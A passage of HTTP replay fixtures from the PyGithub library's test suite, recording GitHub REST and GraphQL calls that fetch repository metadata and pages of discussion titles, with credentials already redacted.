v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1762,"open_issues":341,"watchers":6905,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1762,"subscribers_count":111} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n author { login }\n number\n repository {\n owner { login }\n name\n }\n title\n }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30}} 200 [('Date', 'Tue, 17 Sep 2024 13:54:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F75:221185:D4482D:D6286C:66E98A05')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOS0xM1QxOToyMzowOSswMjowMM4AbYx8","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQwOTozNjoxOSswMTowMM4AQ6mO","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"author":{"login":"gmishkin"},"number":3044,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Automaticlly look for access tokens in standard places"},{"author":{"login":"kostrykin"},"number":3033,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Possible to interact with the Discussions on a GitHub repository?"},{"author":{"login":"heitorPB"},"number":2993,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to get a list of custom repository properties?"},{"author":{"login":"EnricoMi"},"number":2205,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Is the PyGithub project dead? How can the community help?"},{"author":{"login":"guymatz"},"number":2938,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How can I tell if my branch has a Pull Request?"},{"author":{"login":"bobneuman"},"number":2997,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Response caching"},{"author":{"login":"syang"},"number":2991,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Recursively list all file names in a repo without being throttled"},{"author":{"login":"lmilbaum"},"number":2953,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Can this project used for creation a GitHub app?"},{"author":{"login":"zituo-jin"},"number":2943,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Operations on pull requests in merge queue"},{"author":{"login":"pn17F2DD3"},"number":2916,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Count the number of 'reopened' issues in GitHub"},{"author":{"login":"bliu11"},"number":2909,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"long backoff time when encountering a single 403"},{"author":{"login":"andrewakl"},"number":2889,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to set the \"prevent_self_review\" param when creating/updating GitHub environment?"},{"author":{"login":"whanso"},"number":2852,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Batch multiple `create_file` invocations within single commit?"},{"author":{"login":"baishuotong"},"number":2849,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"A research for generating PR checklists in Pull Request Template"},{"author":{"login":"marksie1988"},"number":2814,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"get_secret not raising an exception"},{"author":{"login":"fsadykov"},"number":2795,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to get github issue python class using url or id?"},{"author":{"login":"vsajip"},"number":2758,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How do you sync a fork with its parent?"},{"author":{"login":"lokeshwarobuli"},"number":2737,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to log requests"},{"author":{"login":"aditya-samalla"},"number":2710,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to sign a commit raised via PyGithub"},{"author":{"login":"zsbeheshti"},"number":2495,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Definition of the initial population for the genetic algorithm by the user"},{"author":{"login":"buhtz"},"number":2255,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to securily use access tokens?"},{"author":null,"number":2619,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How do I create a new branch with PyGithub?"},{"author":{"login":"antoineKorbit"},"number":2559,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Release of new version for this library"},{"author":{"login":"dougdonohoe"},"number":2104,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How do I call /installation/repositories API?"},{"author":{"login":"parteekcoder"},"number":2539,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Pull request accross different repository"},{"author":{"login":"jackfurr"},"number":2177,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to Revert a Merged PR"},{"author":{"login":"EnricoMi"},"number":2453,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Maintainers TODO list"},{"author":{"login":"c4mmartin"},"number":2500,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Trying to fire off workflow_dispatch events"},{"author":{"login":"arunanandhan"},"number":2480,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Is there a way to search if a string present in default branch?"},{"author":{"login":"EnricoMi"},"number":2321,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Prioritising pull requests"}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n author { login }\n number\n repository {\n owner { login }\n name\n }\n title\n }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30, "after": "Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQwOTozNjoxOSswMTowMM4AQ6mO"}} 200 [('Date', 'Tue, 17 Sep 2024 13:54:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F1E:39E39C:D73E82:D91A96:66E98A06')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNlQxMzoyODo1MiswMTowMM4ASrYx","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0wMVQwNTozMzoxMCswMjowMM4AMwlT","hasNextPage":true,"hasPreviousPage":true},"nodes":[{"author":{"login":"Vuizur"},"number":2438,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Uploading multiple assets to a release"},{"author":{"login":"songyuc"},"number":2368,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Can I download a specifical file from my repo?"},{"author":{"login":"gitblanc"},"number":2367,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"ImportError: cannot import name 'Github' from 'github' (/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/github/__init__.py)"},{"author":{"login":"mmdbalkhi"},"number":2264,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:2396)"},{"author":{"login":"mariolasagna007"},"number":2357,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"repo.get_codescan_alerts()"},{"author":{"login":"xii-yang"},"number":2318,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to search the Pull Request which first introduce a commit Sha"},{"author":{"login":"xenosdio"},"number":2306,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Verify if login_or_token is correct"},{"author":{"login":"DelaporteRobin"},"number":2304,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Upload files on github"},{"author":{"login":"mosheco"},"number":2298,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Question: where is GithubIntegration documented ."},{"author":{"login":"ygoldsmith"},"number":2293,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to query check suite results"},{"author":{"login":"nri-xiang-liu-01"},"number":2292,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How can I create a new branch by use PyGithub?"},{"author":{"login":"yoyomeng2"},"number":2153,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Is there support to set bypass PR requirements users?"},{"author":{"login":"kenorb"},"number":2277,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Download an artifact's file from GitHub Actions (Workflows)"},{"author":{"login":"LuisSFGH"},"number":2057,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Do you have plans to add workflows features?"},{"author":{"login":"sayakpaul"},"number":2246,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Question on hostname"},{"author":{"login":"sr-murthy"},"number":2242,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Top repo contributors"},{"author":{"login":"kamaraj-muthupandian"},"number":2179,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Connect GHE cloud using OIDC"},{"author":{"login":"xmo-odoo"},"number":2173,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Dedicated builder object for review comments?"},{"author":{"login":"yoyomeng2"},"number":2155,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"GithubCredentials 401"},{"author":{"login":"padmashree12"},"number":2124,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Star"},{"author":{"login":"simkimsia"},"number":2013,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to run tests for just 1 test case?"},{"author":{"login":"scoates"},"number":1993,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Drop .pyi?"},{"author":{"login":"yoyomeng2"},"number":2023,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Looking for githubstatus Object?"},{"author":{"login":"evilensky"},"number":2018,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"audit-log"},{"author":{"login":"orenzp"},"number":2015,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"PyGithub support for Team"},{"author":{"login":"Nuzair46"},"number":1864,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"get_contributers"},{"author":{"login":"Captain8771"},"number":1964,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"ModuleNotFoundError: No module named 'github' but i pip installed pygithub?"},{"author":{"login":"ssbarnea"},"number":1790,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to batch enable auto-merges on multiple repositories?"},{"author":{"login":"astrochun"},"number":1946,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Exporting JSON about repositories"},{"author":{"login":"bhushanladdad"},"number":1936,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"get_contents thorws error UnknownObjectException"}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n author { login }\n number\n repository {\n owner { login }\n name\n }\n title\n }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30, "after": "Y3Vyc29yOnYyOpK5MjAyMS0wNS0wMVQwNTozMzoxMCswMjowMM4AMwlT"}} 200 [('Date', 'Tue, 17 Sep 2024 13:54:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FB0:3299B4:DC961E:DE761B:66E98A06')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wMy0xOFQwMzowODowMSswMTowMM4ALjaQ","endCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0NDozMiswMTowMM2_Dw==","hasNextPage":false,"hasPreviousPage":true},"nodes":[{"author":{"login":"dejokz"},"number":1848,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to get number of open and closed issue of a repo"},{"author":{"login":"MarkWilsonODS"},"number":1854,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Repo visibility"},{"author":{"login":"kenorb"},"number":1819,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"How to access logs_url's contents?"},{"author":{"login":"henryiii"},"number":1778,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Dump Issue to structured format"},{"author":{"login":"henryiii"},"number":1780,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Show an example of a more advanced query"}]}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetDiscussionsByAnswered.txt0000644000175100001660000002623414756101563026736 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 13:41:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c8e45d1a983f482b7c91fe66326bb90a746e7a7d4592af657e9f4076fc3c4466"'), ('Last-Modified', 'Tue, 17 Sep 2024 06:27:32 GMT'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FFB:93EBB:C1EEA3:C3A90C:66E98700')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-09-17T06:27:32Z","pushed_at":"2024-09-12T10:47:45Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16092,"stargazers_count":6905,"watchers_count":6905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1762,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":341,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1762,"open_issues":341,"watchers":6905,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1762,"subscribers_count":111} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { number title }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": true, "category_id": null, "states": null, "first": 30}} 200 [('Date', 'Tue, 17 Sep 2024 13:41:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FBC:3299B4:CDA584:CF6517:66E98700')] {"data":{"repository":{"discussions":{"totalCount":10,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOVQxODowMTowMCswMjowMM4AaHoG","endCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQxNTo1Njo1MSswMTowMM2-9g==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"number":2993,"title":"How to get a list of custom repository properties?"},{"number":2619,"title":"How do I create a new branch with PyGithub?"},{"number":2104,"title":"How do I call /installation/repositories API?"},{"number":2500,"title":"Trying to fire off workflow_dispatch events"},{"number":2292,"title":"How can I create a new branch by use PyGithub?"},{"number":2153,"title":"Is there support to set bypass PR requirements users?"},{"number":2277,"title":"Download an artifact's file from GitHub Actions (Workflows)"},{"number":2023,"title":"Looking for githubstatus Object?"},{"number":1964,"title":"ModuleNotFoundError: No module 